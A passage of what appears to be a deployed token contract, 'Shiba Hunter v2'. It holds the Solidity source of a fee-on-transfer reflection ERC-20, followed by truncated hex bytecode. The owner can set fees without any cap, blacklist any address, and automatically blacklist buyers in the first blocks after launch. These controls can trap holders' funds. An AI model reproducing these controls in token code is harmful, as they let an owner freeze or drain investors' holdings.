require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.mul(1).div(4));
_marketingAddress.transfer(amount.mul(3).div(4));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061306e565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134cb565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fce565b610869565b6040516102649190613495565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f91906134b0565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba91906136ad565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f7b565b6108be565b6040516102f79190613495565b60405180910390f35b34801561030c57600080fd5b50610315610997565b60405161032291906136ad565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d9190613722565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b604051610378919061347a565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ee1565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130b7565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ee1565b610c3e565b60405161041e91906136ad565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e4565b610de2565b005b34801561047357600080fd5b5061047c610e81565b60405161048991906136ad565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b4919061347a565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df91906130b7565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b60405161050891906136ad565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134cb565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130e4565b610fac565b005b34801561057157600080fd5b5061058c60048036038101906105879190613111565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fce565b611102565b6040516105c29190613495565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ee1565b611120565b6040516105ff9190613495565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b506106466004803603810190610641919061300e565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a91906136ad565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f3b565b611359565b6040516106a791906136ad565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130e4565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ee1565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e9061360d565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613aa0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139f9565b91505061079a565b5050565b60606040518060400160405280600f81526020017f53686962612048756e7465722076320000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f4e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a589061360d565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b489061360d565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612379565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b9061360d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e9061360d565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c9061360d565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600881526020017f46414c514f4d7632000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110389061360d565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d79061360d565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123e7565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a59061360d565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613aa0565b5b90506020020160208101906112e99190612ee1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139f9565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c9061360d565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b9061360d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b9061356d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b09061368d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117209061358d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180791906136ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b9061364d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134ed565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061362d565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a329061350d565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a789061354d565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b906135ad565b60405180910390fd5b6001600854611b7391906137e3565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137e3565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d629061366d565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123e7565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee8484848461266f565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134cb565b60405180910390fd5b506000838561224b91906138c4565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122bb60046122ad60018661269c90919063ffffffff16565b61271790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122e6573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61234a600461233c60038661269c90919063ffffffff16565b61271790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612375573d6000803e3d6000fd5b5050565b60006006548211156123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b79061352d565b60405180910390fd5b60006123ca612761565b90506123df818461271790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561241f5761241e613acf565b5b60405190808252806020026020018201604052801561244d5781602001602082028036833780820191505090505b509050308160008151811061246557612464613aa0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561250757600080fd5b505afa15801561251b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253f9190612f0e565b8160018151811061255357612552613aa0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125ba30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161261e9594939291906136c8565b600060405180830381600087803b15801561263857600080fd5b505af115801561264c573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061267d5761267c61278c565b5b6126888484846127cf565b806126965761269561299a565b5b50505050565b6000808314156126af5760009050612711565b600082846126bd919061386a565b90508284826126cc9190613839565b1461270c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612703906135ed565b60405180910390fd5b809150505b92915050565b600061275983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129ae565b905092915050565b600080600061276e612a11565b91509150612785818361271790919063ffffffff16565b9250505090565b6000600d541480156127a057506000600e54145b156127aa576127cd565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127e187612a73565b95509550955095509550955061283f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612adb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292081612b83565b61292a8483612c40565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161298791906136ad565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080831182906129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ec91906134cb565b60405180910390fd5b5060008385612a049190613839565b9050809150509392505050565b60008060006006549050600068056bc75e2d631000009050612a4768056bc75e2d6310000060065461271790919063ffffffff16565b821015612a665760065468056bc75e2d63100000935093505050612a6f565b81819350935050505b9091565b6000806000806000806000806000612a908a600d54600e54612c7a565b9250925092506000612aa0612761565b90506000806000612ab38e878787612d10565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b1d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612b3491906137e3565b905083811015612b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b70906135cd565b60405180910390fd5b8091505092915050565b6000612b8d612761565b90506000612ba4828461269c90919063ffffffff16565b9050612bf881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c5582600654612adb90919063ffffffff16565b600681905550612c7081600754612b2590919063ffffffff16565b6007819055505050565b600080600080612ca66064612c98888a61269c90919063ffffffff16565b61271790919063ffffffff16565b90506000612cd06064612cc2888b61269c90919063ffffffff16565b61271790919063ffffffff16565b90506000612cf982612ceb858c612adb90919063ffffffff16565b612adb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d29858961269c90919063ffffffff16565b90506000612d40868961269c90919063ffffffff16565b90506000612d57878961269c90919063ffffffff16565b90506000612d8082612d728587612adb90919063ffffffff16565b612adb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612dac612da784613762565b61373d565b90508083825260208201905082856020860282011115612dcf57612dce613b08565b5b60005b85811015612dff5781612de58882612e09565b845260208401935060208301925050600181019050612dd2565b5050509392505050565b600081359050612e1881613f08565b92915050565b600081519050612e2d81613f08565b92915050565b60008083601f840112612e4957612e48613b03565b5b8235905067ffffffffffffffff811115612e6657612e65613afe565b5b602083019150836020820283011115612e8257612e81613b08565b5b9250929050565b600082601f830112612e9e57612e9d613b03565b5b8135612eae848260208601612d99565b91505092915050565b600081359050612ec681613f1f565b92915050565b600081359050612edb81613f36565b92915050565b600060208284031215612ef757612ef6613b12565b5b6000612f0584828501612e09565b91505092915050565b600060208284031215612f2457612f23613b12565b5b6000612f3284828501612e1e565b91505092915050565b60008060408385031215612f5257612f51613b12565b5b6000612f6085828601612e09565b9250506020612f7185828601612e09565b9150509250929050565b600080600060608486031215612f9457612f93613b12565b5b6000612fa286828701612e09565b9350506020612fb386828701612e09565b9250506040612fc486828701612ecc565b9150509250925092565b60008060408385031215612fe557612fe4613b12565b5b6000612ff385828601612e09565b925050602061300485828601612ecc565b9150509250929050565b60008060006040848603121561302757613026613b12565b5b600084013567ffffffffffffffff81111561304557613044613b0d565b5b61305186828701612e33565b9350935050602061306486828701612eb7565b9150509250925092565b60006020828403121561308457613083613b12565b5b600082013567ffffffffffffffff8111156130a2576130a1613b0d565b5b6130ae84828501612e89565b91505092915050565b6000602082840312156130cd576130cc613b12565b5b60006130db84828501612eb7565b91505092915050565b6000602082840312156130fa576130f9613b12565b5b600061310884828501612ecc565b91505092915050565b6000806000806080858703121561312b5761312a613b12565b5b600061313987828801612ecc565b945050602061314a87828801612ecc565b935050604061315b87828801612ecc565b925050606061316c87828801612ecc565b91505092959194509250565b60006131848383613190565b60208301905092915050565b613199816138f8565b82525050565b6131a8816138f8565b82525050565b60006131b98261379e565b6131c381856137c1565b93506131ce8361378e565b8060005b838110156131ff5781516131e68882613178565b97506131f1836137b4565b9250506001810190506131d2565b5085935050505092915050565b6132158161390a565b82525050565b6132248161394d565b82525050565b6132338161395f565b82525050565b6000613244826137a9565b61324e81856137d2565b935061325e818560208601613995565b61326781613b17565b840191505092915050565b600061327f6023836137d2565b915061328a82613b28565b604082019050919050565b60006132a2603f836137d2565b91506132ad82613b77565b604082019050919050565b60006132c5602a836137d2565b91506132d082613bc6565b604082019050919050565b60006132e8601c836137d2565b91506132f382613c15565b602082019050919050565b600061330b6026836137d2565b915061331682613c3e565b604082019050919050565b600061332e6022836137d2565b915061333982613c8d565b